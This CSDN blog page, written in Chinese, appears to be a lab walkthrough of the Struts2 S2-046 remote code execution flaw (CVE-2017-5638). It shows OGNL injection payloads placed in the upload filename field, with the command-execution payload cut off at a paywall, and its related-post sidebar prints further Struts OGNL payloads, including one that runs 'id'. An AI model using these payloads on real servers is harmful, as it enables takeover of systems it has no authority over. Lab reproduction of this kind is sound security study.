Struts2 S2-046漏洞复现

最新推荐文章于 2024-04-16 19:52:46 发布
最新推荐文章于 2024-04-16 19:52:46 发布
阅读量684 收藏 1
点赞数
文章标签： struts
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_76467680/article/details/131623014
版权
本文详细介绍了Struts2 S2-046漏洞的复现过程，包括拉取环境、访问特定页面、利用抓包工具修改关键参数filename，以及通过构造POC实现远程命令执行。通过对HTTP响应头的操纵，成功绕过安全限制，揭示了该漏洞的危害性。
摘要由CSDN通过智能技术生成

拉取环境

访问页面

提交时抓包

修改filename参数

poc

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\xb

在xb中间加个空格选中后改为00，再发包 

poc

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container&#

最低0.47元/天 解锁文章
"七鹊"
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
struts2-046 远程代码执行 （CVE-2017-5638）
qq_32445755的博客
03-10 961
Apache Struts是美国阿帕奇（Apache）软件基金会的一个开源项目，是一套用于创建企业级Java Web应用的开源MVC框架，主要提供两个版本框架产品，Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段，通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常，进而导致任意代码执行。 目前，Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设，作为网
Struts2 漏洞复现之s2-045
weixin_51220765的博客
12-14 2717
Struts2 漏洞复现之s2-045 原理： 在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。 影响版本: Struts 2.3.5 - Struts 2.3.31 Struts 2.5 - Struts 2.5.10 1.进入045 cd vulhub-master/struts2/s2-045 2.开启045 docker-compose up -d
九、【漏洞复现】Struts 2 远程代码执行漏洞s2-046（CVE-2017-5638）
weixin_52351575的博客
09-22 609
Struts 2是一个基于MVC设计模式的Web应用框架，本质上相当于一个Servlet,在MVC设计模式中，Struts2作为控制器来建立模型与视图进行数据交互。攻击者通过发送恶意构造的HTTP数据包利用该漏洞（通过构造HTTP请求头中的Content-type）在服务器上执行系统命令，进一步完全控制该服务器，造成拒绝服务，数据泄露，网站篡改等后果。该漏洞无需任何前置条件（如开启dmi,debug等功能），以及启用任何插件，危害较为严重。​可以直接检测站点是否存在本漏洞。使用知道创宇SeeBug​。
Struts2 S2-046漏洞复现 （CVE-2017-5638）
1
05-27 3637
一：漏洞介绍 名称: struts2-046 远程代码执行 （CVE-2017-5638） 描述: Apache Struts是美国阿帕奇（Apache）软件基金会的一个开源项目，是一套用于创建企业级Java Web应用的开源MVC框架，主要提供两个版本框架产品，Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段，通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常，进而导
Struts2漏洞之S2-046漏洞复现学习
m0_64777251的博客
04-16 1952
养成好习惯复现完及时关掉。
Struts2漏洞复现合集
weixin_42345596的博客
07-11 2906
1. Struts2简介 Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品，是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心，采用拦截器的机制来处理用户的请求，这样的设计也使得业务
Struts2 漏洞复现之s2-016
weixin_51220765的博客
12-14 900
Struts2 漏洞复现之s2-016 原理： 在struts2中，DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令。 1.进入016 cd vulhub-master/struts2/s2-016 2.开启016 docker-compose up -d 3.访问靶
Struts2-S2-029漏洞分析1
08-08
Struts2-S2-029漏洞是一个严重的问题，它涉及到OGNL（Object-Graph Navigation Language）表达式在Struts2框架中的不安全处理。此漏洞的根本原因是开发人员在处理OGNL表达式中的赋值操作时，错误地编写了判断条件，...
struts-2.5.16-源码+示例（S2-057漏洞演示环境）
08-24
S2-057漏洞，全称为"Struts2 OGNL注入漏洞"，主要源于Struts 2框架处理用户输入时的不当验证和处理。OGNL (Object-Graph Navigation Language) 是一种强大的表达式语言，用于获取和设置Java对象的属性。在Struts 2中...
struts2 最新漏洞 S2-016、S2-017修补方案 .docx
08-01
Struts2 最新漏洞 S2-016、S2-017 修补方案 Struts2 是一个基于 Java 的 Web 应用程序框架，由 Apache 软件基金会维护。最近，Struts2 发生了两个严重的漏洞，分别是 S2-016 和 S2-017，这两个漏洞可能会导致攻击者...
Apache_Struts2漏洞(S2-045,CVE-2017-5638)
01-20
S2-045 漏洞，官方称为“基于Struts2的Content-Type注入”，是在2017年被发现的。这个漏洞存在于Struts2的Jakarta插件中，该插件处理HTTP请求头中的Content-Type字段时存在缺陷。攻击者可以通过精心构造的HTTP请求，...
S2-046 远程代码执行漏洞（CVE-2017-5638）
Stephen Wolf
11-05 4004
一、S2-046 远程代码执行漏洞（CVE-2017-5638） 漏洞简介 Apache Struts2存在远程代码执行漏洞，攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段，通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常，进而导致任意代码执行。 影响版本: Strut...
Struts2远程命令执行漏洞
热门推荐
mirror97black的博客
12-20 1万+
Struts2 远程命令执行漏洞
Apache Struts2（S2-046）漏洞预警
煜铭2011
03-21 1万+
0x00 前言 Apache Struts是美国阿帕奇（Apache）软件基金会负责维护的一个开源项目，是一套用于创建企业级Java Web 应用的开源MVC框架，主要提供两个版本框架产品： Struts 1和Struts 2。 Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Contro
Struts2漏洞
公众号shadow sock7
08-18 502
S2-045 POST /struts2-rest-showcase/orders/4 HTTP/1.1 Host: cqq.com:8080 Connection: close Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',77*77)}.multipart/form-data Content-Length: 2 S2-052 POST /s
java struts2 漏洞_Struts2漏洞利用
weixin_34837898的博客
02-13 721
Struts漏洞合集Struts-S2-013漏洞利用受影响版本Struts 2.0.0 - Struts 2.3.14.1漏洞利用任意命令执行POC：${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java...
struts2漏洞
qq_52527336的博客
06-30 1万+
记一下笔记一个个写吧
pi_heif-0.17.0-pp310-pypy310_pp73-macosx_12_0_x86_64.whl
最新发布
07-27
pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。pip install 直接安装，无需再下载，直接用。
s2-005漏洞复现
10-05
s2-005漏洞是指在Struts2框架中存在的一个安全漏洞。该漏洞的原理是Struts2会将HTTP请求中的每个参数名解析为OGNL表达式进行执行。攻击者可以通过编码绕过安全限制，执行恶意的代码。 该漏洞的影响版本是Struts 2.0.0-2.1.8.1。你可以在vulhub的GitHub仓库中找到搭建了该漏洞的示例环境。首先，你可以使用能够爆出路径的payload验证目标网址是否存在s2-005漏洞。然后，使用执行代码的payload进行利用。需要注意的是，不同的博主可能会提供不同的payload，所以如果一个payload无法利用，可以尝试其他的payload。 关于具体的漏洞复现步骤和细节，请参考相关资源和教程。由于时间和篇幅的限制，无法提供完整的复现过程。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值